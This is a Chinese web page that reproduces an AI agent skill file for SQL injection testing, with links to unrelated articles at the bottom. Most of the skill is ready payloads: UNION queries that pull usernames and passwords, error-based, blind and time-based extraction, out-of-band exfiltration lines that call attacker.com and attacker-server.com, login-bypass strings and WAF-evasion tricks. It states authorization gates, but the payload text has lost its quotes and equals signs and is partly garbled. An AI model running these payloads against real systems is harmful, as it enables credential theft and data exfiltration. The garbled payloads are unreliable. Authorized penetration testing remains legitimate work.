sql-injection-testing - SKILL

发布时间:2026/10/18 15:53:23

sql-injection-testing - SKILL name: sql-injection-testingdescription: “Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms.”risk: offensivesource: communityauthor: zebberndate_added: “2026-02-27”⚠️ 仅限授权使用本技能仅用于教育目的或授权安全评估。使用此工具前你必须获得系统所有者的明确书面许可。滥用此工具是非法的严格禁止。强制确认门禁在运行任何针对目标进行探测、利用、修改、持久化、提取数据或尝试凭据访问的命令之前要求用户说明确切的目标 URL、IP、账户或资源。要求用户确认书面授权和允许的范围。显示确切的命令并解释其预期效果。等待当前对话中的明确确认。若无此确认仅保持只读并提供防御性指导。建议使用沙箱、一次性虚拟机或受控实验环境。仅限授权使用仅将本技能用于授权安全评估、防御性验证或受控教育环境。SQL 注入测试目的对 Web 应用执行全面的 SQL 注入漏洞评估以识别数据库安全缺陷、演示利用技术并验证输入清理机制。本技能能够跨带内、盲注和带外攻击向量系统地检测和利用 SQL 注入漏洞以评估应用安全态势。输入 / 前置条件所需访问权限带有可注入参数的目标 Web 应用 URLBurp Suite 或等效代理工具用于请求操纵用于自动化利用的 SQLMap 安装启用了开发者工具的浏览器技术要求理解 SQL 查询语法MySQL、MSSQL、PostgreSQL、Oracle了解 HTTP 请求/响应周期熟悉数据库模式和结构具有测试报告的写入权限法律前置条件渗透测试的书面授权明确定义的范围包括目标 URL 和参数已建立紧急联系程序已签订数据处理协议输出 / 交付物主要输出带有严重性评级的 SQL 注入漏洞报告提取的数据库模式和表结构认证绕过概念验证演示带有代码示例的修复建议证据工件成功注入的截图HTTP 请求/响应日志数据库转储已脱敏载荷文档核心工作流阶段 1检测与侦察识别可注入参数定位与数据库查询交互的用户控制输入字段# 常见注入点 - URL 参数?id1、?useradmin、?categorybooks - 表单字段username、password、search、comments - Cookie 值session_id、user_preference - HTTP 头User-Agent、Referer、X-Forwarded-For测试基本漏洞指标插入特殊字符以触发错误响应-- 单引号测试-- 双引号测试-- 注释序列--#/**/-- 用于查询堆叠的分号;-- 括号)监控应用响应泄露查询结构的数据库错误消息意外应用行为变化HTTP 500 内部服务器错误修改后的响应内容或长度逻辑测试载荷验证基于布尔的漏洞存在性-- 真条件测试page.asp?id1or11page.asp?id1 or 11-- page.asp?id1 or 11-- -- 假条件测试 page.asp?id1 and 12 page.asp?id1and12--比较真/假条件之间的响应以确认注入能力。阶段 2利用技术基于 UNION 的提取将攻击者控制的 SELECT 语句与原始查询结合-- 确定列数ORDERBY1--ORDERBY2--ORDERBY3---- 继续直到出错-- 找到可显示的列UNIONSELECTNULL,NULL,NULL--UNIONSELECTa,NULL,NULL--UNIONSELECTNULL,a,NULL---- 提取数据UNIONSELECTusername,password,NULLFROMusers--UNIONSELECTtable_name,NULL,NULLFROMinformation_schema.tables--UNIONSELECTcolumn_name,NULL,NULLFROMinformation_schema.columnsWHEREtable_nameusers--基于错误的提取强制数据库错误以泄露信息-- MSSQL 版本提取1 AND 1CONVERT(int,(SELECT version))-- -- 通过 XPATH 进行 MySQL 提取 1ANDextractvalue(1,concat(0x7e,(SELECTversion)))---- PostgreSQL 类型转换错误1AND1CAST((SELECTversion())ASint)--基于布尔的盲注提取通过应用行为变化推断数据-- 字符提取1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)a-- 1AND(SELECTSUBSTRING(username,1,1)FROMusersLIMIT1)b---- 条件响应1 AND (SELECT COUNT(*) FROM users WHERE usernameadmin)0--基于时间的盲注提取使用数据库 sleep 函数进行确认-- MySQL1 AND IF(11,SLEEP(5),0)-- 1ANDIF((SELECTSUBSTRING(password,1,1)FROMusersWHEREusernameadmin)a,SLEEP(5),0)---- MSSQL1; WAITFOR DELAY 0:0:5-- -- PostgreSQL 1;SELECTpg_sleep(5)--带外OOB提取通过外部渠道泄露数据-- MSSQL DNS 外带1;EXECmaster..xp_dirtree\\attacker-server.com\share---- MySQL DNS 外带1 UNION SELECT LOAD_FILE(CONCAT(\\\\,version,.attacker.com\\a))---- Oracle HTTP 请求1 UNION SELECT UTL_HTTP.REQUEST(http://attacker.com/||(SELECT user FROM dual)) FROM dual--阶段 3认证绕过登录表单利用构造载荷以绕过凭据验证-- 经典绕过admin-- admin/* OR 11 OR 11-- OR11/*) OR (11) OR (11-- -- 用户名枚举 adminAND11 adminAND12查询转换示例-- 原始查询SELECT*FROMusersWHEREusernameinputANDpasswordinput-- security-allowlist: controlled SQL injection test example-- 注入后用户名admin--SELECT*FROMusersWHEREusernameadmin-- AND passwordanything -- security-allowlist: controlled SQL injection bypass example-- 密码检查被注释绕过阶段 4过滤器绕过技术字符编码绕过当特殊字符被阻止时-- URL 编码%27单引号%22双引号%23井号-- 双重 URL 编码%2527单引号-- Unicode 替代U0027撇号 U02B9修饰字母 prime-- 十六进制字符串MySQLSELECT*FROMusersWHEREname0x61646D696E-- admin 的十六进制空白字符绕过替换被阻止的空格-- 注释替代SELECT/**/username/**/FROM/**/users SEL/**/ECT/**/username/**/FR/**/OM/**/users-- 替代空白字符SELECT%09username%09FROM%09users-- 制表符SELECT%0Ausername%0AFROM%0Ausers-- 换行符关键字绕过规避被列入黑名单的 SQL 关键字-- 大小写变体SeLeCt,sElEcT,SELECT-- 内联注释SEL/*bypass*/ECT UN/*bypass*/ION-- 双重写入如果过滤器只移除一次SELSELECTECT →SELECTUNUNIONION →UNION-- 空字节注入%00SELECT SEL%00ECT快速参考检测测试序列1. 插入 → 检查是否有错误 2. 插入 → 检查是否有错误 3. 尝试OR 11-- → 检查行为变化 4. 尝试AND 12-- → 检查行为变化 5. 尝试 WAITFOR DELAY 0:0:5-- → 检查延迟数据库指纹识别-- MySQLSELECTversionSELECTversion()-- MSSQLSELECTversionSELECTservername-- PostgreSQLSELECTversion()-- OracleSELECTbannerFROMv$versionSELECT*FROMv$version信息模式查询-- MySQL/MSSQL 表枚举SELECTtable_nameFROMinformation_schema.tablesWHEREtable_schemadatabase()-- 列枚举SELECTcolumn_nameFROMinformation_schema.columnsWHEREtable_nameusers-- Oracle 等效查询SELECTtable_nameFROMall_tablesSELECTcolumn_nameFROMall_tab_columnsWHEREtable_nameUSERS常用载荷快速列表用途载荷基本测试或布尔真OR 11--布尔假AND 12--注释MySQL#或--注释MSSQL--UNION 探测UNION SELECT NULL--时间延迟AND SLEEP(5)--认证绕过 OR 11约束与护栏操作边界未经明确授权绝不执行破坏性查询DROP、DELETE、TRUNCATE将数据提取限制在概念验证数量避免通过资源密集型查询造成拒绝服务检测到包含真实用户数据的生产数据库时立即停止技术限制WAF/IPS 可能阻止常见载荷需要规避技术参数化查询可防止标准注入某些盲注需要大量请求速率限制问题二阶注入需要理解数据流法律与道德要求测试前必须存在书面范围协议记录所有提取的数据并按数据保护要求处理通过约定的渠道立即报告严重漏洞绝不访问超出范围要求的数据示例示例 1电子商务产品页 SQLi场景测试带 ID 参数的产品展示页初始请求GET /product.php?id5 HTTP/1.1检测测试GET /product.php?id5 HTTP/1.1 响应MySQL 错误 - 在 附近存在语法错误列枚举GET /product.php?id5 ORDER BY 4-- HTTP/1.1 响应正常 GET /product.php?id5 ORDER BY 5-- HTTP/1.1 响应错误确认 4 列数据提取GET /product.php?id-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1 响应显示管理员凭据示例 2基于时间的盲注提取场景无可见输出测试盲注确认漏洞id5ANDSLEEP(5)---- 响应延迟 5 秒确认存在漏洞提取数据库名称长度id5ANDIF(LENGTH(database())8,SLEEP(5),0)---- 延迟确认数据库名称为 8 个字符提取字符id5 AND IF(SUBSTRING(database(),1,1)a,SLEEP(5),0)-- -- 逐字符迭代提取appstore示例 3登录绕过目标管理员登录表单标准登录查询SELECT*FROMusersWHEREusername[input]ANDpassword[input]-- security-allowlist: controlled SQL injection test example注入载荷用户名administrator-- 密码anything结果查询SELECT*FROMusersWHEREusernameadministrator-- AND passwordanything -- security-allowlist: controlled SQL injection bypass example结果密码检查被绕过以管理员身份认证成功。故障排查未显示错误消息应用使用通用错误处理改用盲注技术布尔或时间监控响应长度差异而不是内容UNION 注入失败列数可能不正确 → 使用 ORDER BY 测试数据类型可能不匹配 → 首先对所有列使用 NULL结果可能不显示 → 找到可注入的列位置WAF 阻止请求使用编码技术URL、十六进制、Unicode在关键字中插入内联注释尝试相同操作的替代语法跨多个参数拆分载荷载荷未执行验证数据库类型的正确注释语法检查应用是否使用参数化查询确认输入到达 SQL 查询未被客户端过滤测试不同的注入点头部、Cookie时间注入不一致网络延迟可能导致误报使用更长的延迟10 秒以上以获得清晰度多次测试以确认模式考虑服务器端缓存效应使用时机本技能适用于执行概述中描述的工作流或操作。
延伸阅读

更多相关文章

2026/10/18 15:53:23

speed - SKILL

name: speed description: Launch RSVP speed reader for text trigger: command risk: critical source: community tools: Write, Bash, Read 速读器 启动 RSVP 速读器,一次显示一个单词,并带有 Spritz 风格的 ORP(最佳识别点)高…

2026/10/18 15:48:23

Folia 音乐播放器:3 步从装好曲库到全屏歌词动画

Folia 音乐播放器:3 步从装好曲库到全屏歌词动画 【免费下载链接】folia-major 专注于绚丽的歌词动画效果的本地音乐/navidrome/第三方多平台在线音乐播放器 项目地址: https://gitcode.com/GitHub_Trending/fo/folia-major Folia 把全屏歌词动画当核心卖点&…

2026/10/18 17:08:31

Mathcad v15中文版:工程计算软件如何把公式变成可复核的计算书

简介:Mathcad v15.0M050中文版是一款专业工程计算软件,面向机械、土木、电子及数据分析等领域的工程师和科研人员,将公式输入、数值与符号计算、图形绘制、文本注释和报告排版整合在同一界面,可直接处理线性代数、微积分、概率统计…

2026/10/18 17:08:31

知识工作插件化:从Claude Code到VS Code的原子能力架构

1. 项目概述:从“knowledge-work-plugins”看知识工作者的插件化工作流演进“knowledge-work-plugins”这个名称乍看像一个技术名词,实则精准锚定了当下知识型从业者最真实的痛点——不是缺工具,而是工具之间彼此割裂;不是没信息&…

2026/10/18 17:08:31

安全审计能力模型:从经验驱动到可验证、可传承的工程化实践

1. 这不是“查漏洞”的流水线,而是安全审计能力的底层操作系统“security-audit-skill”这个名称乍看像一个工具包或脚本集合,但在我带团队做过27次金融级系统审计、亲手写过4套内部审计框架之后,我越来越确信:它根本不是某个具体…

2026/10/18 17:08:31

大模型Agent记忆系统实战指南:上下文管理、向量检索与遗忘机制

我不太喜欢用“记忆”这个词来描述大模型应用里的缓存机制,因为大部分人第一次给自己的Agent加记忆时,都把问题想得太简单了——不就是把聊天记录存起来,下次再塞回去吗?我一开始也是这么干的,结果做出来的东西不仅回答…

2026/10/18 17:08:31

论文AIGC检测率99.8%怎么降?从检测原理到写作重构实操指南

论文提交当天我就觉得稳了,查重率一遍过,格式也没问题,结果导师在群里扔来一张截图:AIGC检测报告,疑似AI生成内容99.8%。整个宿舍安静了三秒钟。这不是个别案例,这届本科生几乎人人要过一关:毕业…

2026/10/18 17:03:31

ASIC芯片选型指南:从AI推理的能效比到落地成本权衡

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 0:01:50

金融AI落地指南:从调研报告到技术选型与工程实践

简介:这份PDF报告聚焦2025年金融服务业中国AI现状与趋势,面向金融科技从业者、AI战略规划人员及关注行业数字化转型的研究者,帮助读者把握生成式AI在银行、支付、交易等场景中的落地路径与投资方向。资源包内含1个PDF文件,大小约1…

2026/10/18 0:01:50

金融AI落地指南:从调研报告到技术选型与工程实践

简介:这份PDF报告聚焦2025年金融服务业中国AI现状与趋势,面向金融科技从业者、AI战略规划人员及关注行业数字化转型的研究者,帮助读者把握生成式AI在银行、支付、交易等场景中的落地路径与投资方向。资源包内含1个PDF文件,大小约1…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑